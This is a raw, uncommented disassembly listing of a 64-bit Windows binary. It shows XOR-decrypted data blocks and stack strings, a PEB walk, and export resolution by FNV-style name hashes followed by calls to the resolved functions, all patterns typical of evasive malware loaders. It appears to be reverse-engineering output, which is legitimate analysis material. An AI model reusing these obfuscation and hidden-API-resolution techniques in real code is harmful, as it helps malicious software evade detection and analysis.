movaps xmmword [rsp + 0x320], xmm13
call fcn.140001230
movups xmm0, xmmword [0x14002b0c0]
lea r12, [0x140031750]
movups xmm1, xmmword [0x14002b0d0]
mov rbx, r12
sub rsi, r12
movups xmmword [0x1402af540], xmm0
movups xmm0, xmmword [0x14002b0e0]
movups xmmword [0x1402af550], xmm1
movups xmm1, xmmword [0x14002b0f0]
movups xmmword [0x1402af560], xmm0
movups xmm0, xmmword [0x14002b100]
movups xmmword [0x1402af570], xmm1
movups xmm1, xmmword [0x14002b110]
movups xmmword [0x1402af580], xmm0
movups xmm0, xmmword [0x14002b120]
movups xmmword [0x1402af590], xmm1
movups xmm1, xmmword [0x14002b130]
movups xmmword [0x1402af5a0], xmm0
movups xmmword [0x1402af5b0], xmm1
nop
movups xmm6, xmmword [rbx]
mov rcx, rbx
movups xmm7, xmmword [rbx + 0x10]
movups xmm8, xmmword [rbx + 0x20]
movups xmm9, xmmword [rbx + 0x30]
movups xmm10, xmmword [rbx + 0x40]
movups xmm11, xmmword [rbx + 0x50]
movups xmm12, xmmword [rbx + 0x60]
movups xmm13, xmmword [rbx + 0x70]
call fcn.140001cf0
mov ecx, 0x80
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rsi + rbx]
xor byte [rbx], al
inc rbx
sub rcx, 1
jne 0x140013cf0
add rsi, 0xffffffffffffff80
movups xmmword [0x1402af540], xmm6
movups xmmword [0x1402af550], xmm7
movups xmmword [0x1402af560], xmm8
movups xmmword [0x1402af570], xmm9
movups xmmword [0x1402af580], xmm10
movups xmmword [0x1402af590], xmm11
movups xmmword [0x1402af5a0], xmm12
movups xmmword [0x1402af5b0], xmm13
sub r14, 1
jne 0x140013cb0
movaps xmm13, xmmword [rsp + 0x320]
movaps xmm12, xmmword [rsp + 0x330]
movaps xmm11, xmmword [rsp + 0x340]
movaps xmm10, xmmword [rsp + 0x350]
movaps xmm9, xmmword [rsp + 0x360]
movaps xmm8, xmmword [rsp + 0x370]
movaps xmm7, xmmword [rsp + 0x380]
movaps xmm6, xmmword [rsp + 0x390]
mov dword [rsp + 0x70], 0x2f3f3e1e
mov dword [rsp + 0x74], 0x8142f27
mov dword [rsp + 0x78], 0x4b4a040c
mov dword [rsp + 0x7c], 0x1006d48
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x5a]
xor byte [rsp + rcx + 0x70], al
inc rcx
cmp rcx, 0xe
jb 0x140013dc0
lea rcx, [rsp + 0x70]
mov byte [rsp + 0x7f], 0
call fcn.1400042b0
xor ecx, ecx
mov dword [rbp + 0x1f0], 0x2d2c3a17
mov dword [rbp + 0x1f4], 0x4f073137
mov dword [rbp + 0x1f8], 0x6e4d4c
mov byte [rbp + 0x1fc], 1
nop word [rax + rax]
lea eax, [rcx + 0x5a]
xor byte [rbp + rcx + 0x1f0], al
inc rcx
cmp rcx, 0xb
jb 0x140013e10
lea rcx, [rbp + 0x1f0]
mov byte [rbp + 0x1fc], 0
call fcn.1400042b0
mov rdx, r12
mov rcx, rdi
call fcn.1400194e0
mov rax, qword [0x1402af7a0]
test rax, rax
jne 0x140013f0a
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x140013ee5
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140013ee5
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rbx]
mov edx, 0xc2aef9c0
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140013ee0
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x140013ec0
cmp edx, 0x486db053
je 0x140013eea
test r9d, r9d
jne 0x140013ea0
mov rax, qword [rax]
jmp 0x140013e70
mov eax, dword [r11 + 0x24]
mov ecx, dword [r11 + 0x1c]
add rax, r10
add rcx, r10
movzx edx, word [rax + r9*2]
mov eax, dword [rcx + rdx*4]
add rax, r10
mov qword [0x1402af7a0], rax
mov ecx, 0x7d0
call rax
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r11, qword [rax]
mov rdi, r11
nop dword [rax + rax]
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov r10d, dword [rax + r9 + 0x88]
add r10, r9
cmp r10, r9
je 0x140013fa4
mov r8d, dword [r10 + 0x18]
test r8d, r8d
je 0x140013fa4
mov ebx, dword [r10 + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [rbx + r8*4]
mov edx, dword [rcx + r9]
mov ecx, 0xdcf1e43e
add rdx, r9
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140013f9f
nop dword [rax]
movsx eax, al
lea rdx, [rdx + 1]
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx - 1]
test al, al
jne 0x140013f80
cmp ecx, 0xa1ea6bc6
je 0x140014010
test r8d, r8d
jne 0x140013f60
mov r11, qword [r11]
cmp r11, rdi
je 0x140013fb7
cmp qword [r11 + 0x30], 0
jne 0x140013f30
xor eax, eax
mov ecx, r15d
call rax
xor r15d, r15d
mov rdx, qword [rbp + 0x1e8]
mov r13, qword [rsp + 0x3a8]
mov r12, qword [rsp + 0x3e0]
cmp rdx, 0xf
jbe 0x140014030
mov rcx, qword [rbp + 0x1d0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001402b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001402b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov eax, dword [r10 + 0x24]
mov ecx, dword [r10 + 0x1c]
add rax, r9
add rcx, r9
movzx edx, word [rax + r8*2]
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x140013fb9
call fcn.140017770
cmp dword [rbp + 0x1b8], 0
mov qword [rbp + 0x1e0], 0
mov qword [rbp + 0x1e8], 0xf
mov byte [rbp + 0x1d0], 0
jne 0x140014095
cmp dword [rbp + 0x1c8], 0
jne 0x140014095
mov eax, r15d
mov rdi, qword [rsp + 0x3d8]
mov rsi, qword [rsp + 0x3d0]
mov r14, qword [rsp + 0x3a0]
mov rcx, qword [rbp + 0x210]
xor rcx, rsp
call fcn.140017750
add rsp, 0x3b0
pop r15
pop rbx
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
cmp dword [rbp + 0x1b8], r15d
jne 0x1400140ae
cmp dword [rbp + 0x1c8], r15d
je 0x140014062
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
mov ecx, 6
mov dword [rbp + 0x1b8], r15d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0x1c8], r15d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
xor eax, eax
jmp 0x14001407a
lea rdx, [0x1400290a0]
mov dword [rbp - 0x28], ebx
lea rcx, [rbp - 0x28]
call sub.VCRUNTIME140.dll__CxxThrowException
int3